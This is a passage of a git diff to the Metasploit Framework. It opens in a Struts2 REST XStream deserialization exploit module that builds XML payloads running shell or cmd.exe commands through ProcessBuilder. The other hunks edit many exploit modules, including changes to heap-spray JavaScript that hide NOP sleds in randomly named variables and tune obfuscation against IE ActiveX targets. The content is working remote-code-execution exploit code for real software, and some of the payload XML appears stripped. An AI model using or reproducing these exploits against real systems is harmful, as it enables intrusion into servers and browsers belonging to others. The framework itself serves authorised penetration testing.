'unix', + 'Arch' => ARCH_CMD + ], + ['Python (In-Memory)', + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + ], +=begin this stuff that doesn't work yet + ['PowerShell (In-Memory)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + ], +=end + ['Linux (Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + ], + ['Windows (Dropper)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3']) + ]) + end + + def check + if execute_command(random_crap) + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + case target.name + when /Unix/, /Python/, /PowerShell/ + execute_command(payload.encoded) + else + execute_cmdstager + end + end + + # + # Exploit methods + # + + def execute_command(cmd, opts = {}) + cmd = case target.name + when /Unix/, /Linux/ + %W{/bin/sh -c #{cmd}} + when /Python/ + %W{python -c #{cmd}} + when /PowerShell/ + # This doesn't work yet + %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}} + when /Windows/ + %W{cmd.exe /c #{cmd}} + end + + # Encode each command argument with XML entities + cmd.map! { |arg| arg.encode(xml: :text) } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => target_uri.path, + 'ctype' => 'application/xml', + 'data' => xstream_payload(cmd) + ) + + check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect) + end + + # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO + def xstream_payload(cmd) + # XXX: and need to be removed for Windows + < + + + 0 + + + + + + false + 0 + + + + + + #{cmd.join('')} + + false + + + + + java.lang.ProcessBuilder + start + + + #{random_crap} + + #{random_crap} + + + + + + false + 0 + 0 + false + + false + + + + 0 + + + + + + + + + +EOF + end + + # + # Utility methods + # + + def check_response(res) + res && res.code == 500 && res.body.include?(error_string) + end + + def error_string + 'java.lang.String cannot be cast to java.security.Provider$Service' + end + + def random_crap + Rex::Text.rand_text_alphanumeric(rand(42) + 1) + end + +end diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 20c3966b9d..25cc3b742e 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index efd6d31d03..802914f704 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -299,6 +299,5 @@ class MetasploitModule < Msf::Exploit::Remote } modify_class_loader(properties) end - end diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 40a94f668a..836cccc6ce 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 168682f59f..e9e6dfa0a0 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -190,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Appears end end - end diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 06434d29a6..5fc0c71734 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index f62677be5a..3d42ec0c04 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb index 5b529b558e..a8a6f5b432 100644 --- a/modules/exploits/multi/http/struts_dmi_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -197,5 +197,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/struts_dmi_rest_exec.rb b/modules/exploits/multi/http/struts_dmi_rest_exec.rb index 7ad7b4ead4..2cd885a6ec 100644 --- a/modules/exploits/multi/http/struts_dmi_rest_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_rest_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -198,5 +198,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index af8b640460..b27d516504 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Vulnerable end end - end diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index b64eef8e45..e6e0512207 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index a66ac1b3c8..189946311b 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 014f213472..0b814172bf 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -206,5 +206,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 46f06a6e49..c08110e561 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/ if is_exploit - print_status("Payload uploaded successfully") + print_good("Payload uploaded successfully") end return $1 @@ -231,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote unless @cookie fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.") end - print_status("Authentication was successful with the provided credentials.") + print_good("Authentication was successful with the provided credentials.") @my_target = pick_target if @my_target.nil? diff --git a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb index 2f4ba83825..edb0f2335c 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated - file uploads and handles zip file contents in a insecure way. By combining both weaknesses, + file uploads and handles zip file contents in an insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This module has been tested successfully on version @@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote # The server either returns a 200 OK when the upload is successful. if res && res.code == 200 - print_status("Upload appears to have been successful, waiting for deployment") + print_good("Upload appears to have been successful, waiting for deployment") else fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 5b01295f1f..f7dae1e7ff 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Registering user (#{user})") res = register(base, user, user) if res and res.code == 200 and res.body =~ /\\\<\/head\>\\\n" print_status("Sending #{self.name}") send_response_html(cli, html) diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 6d37fe83f2..5444a964bd 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -102,11 +102,13 @@ class MetasploitModule < Msf::Exploit::Remote end def get_spray(t, js_code, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; @@ -222,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end end diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 3717089771..b431936497 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -147,11 +147,13 @@ class MetasploitModule < Msf::Exploit::Remote end def get_easy_spray(t, js_code, js_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x80000) nops += nops; @@ -173,12 +175,14 @@ class MetasploitModule < Msf::Exploit::Remote end def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) + randnop = rand_text_alpha(rand(100) + 1) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); var nops_90 = unescape("#{js_90_nops}"); var rop_chain = unescape("#{js_rop}"); @@ -396,7 +400,7 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + js.obfuscate(memory_sensitive: true) end sploit = "http://" diff --git a/modules/exploits/windows/browser/cisco_webex_ext.rb b/modules/exploits/windows/browser/cisco_webex_ext.rb index ccd1d3636a..04ed6f339e 100644 --- a/modules/exploits/windows/browser/cisco_webex_ext.rb +++ b/modules/exploits/windows/browser/cisco_webex_ext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 11e06cbd12..2bd69e3f79 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -129,12 +129,15 @@ class MetasploitModule < Msf::Exploit::Remote # payload in JS format code = Rex::Text.to_unescape(payload.encoded) + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6 spray = <<-JS var heap_lib = new heapLib.ie(0x20000); var code = unescape("#{code}"); - var nops = unescape("%u0c0c%u0c0c"); + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); while (nops.length < 0x1000) nops += nops; var offset = nops.substring(0, 0x550); @@ -152,7 +155,7 @@ class MetasploitModule < Msf::Exploit::Remote spray = heaplib(spray, {:noobfu => true}) spray = ::Rex::Exploitation::JSObfu.new(spray) - spray.obfuscate + spray.obfuscate(memory_sensitive: true) load = %Q| var d=document.getElementById("nsepadiv"); diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 68464f17b2..a60a1bdfe4 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -112,7 +112,6 @@ class MetasploitModule < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end - end =begin diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index 8f40bc6cc4..286239a870 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll - ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly + ActiveX Control provided by CommuniCrypt Mail 1.16. By sending an overly long string to the "AddAttachments()" method, an attacker may be able to execute arbitrary code. }, @@ -88,5 +88,4 @@ var #{strname} = new String('#{sploit}'); # Handle the payload handler(cli) end - end diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 0057efc993..d979587708 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -68,12 +68,16 @@ class MetasploitModule < Msf::Exploit::Remote rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) + content = %Q|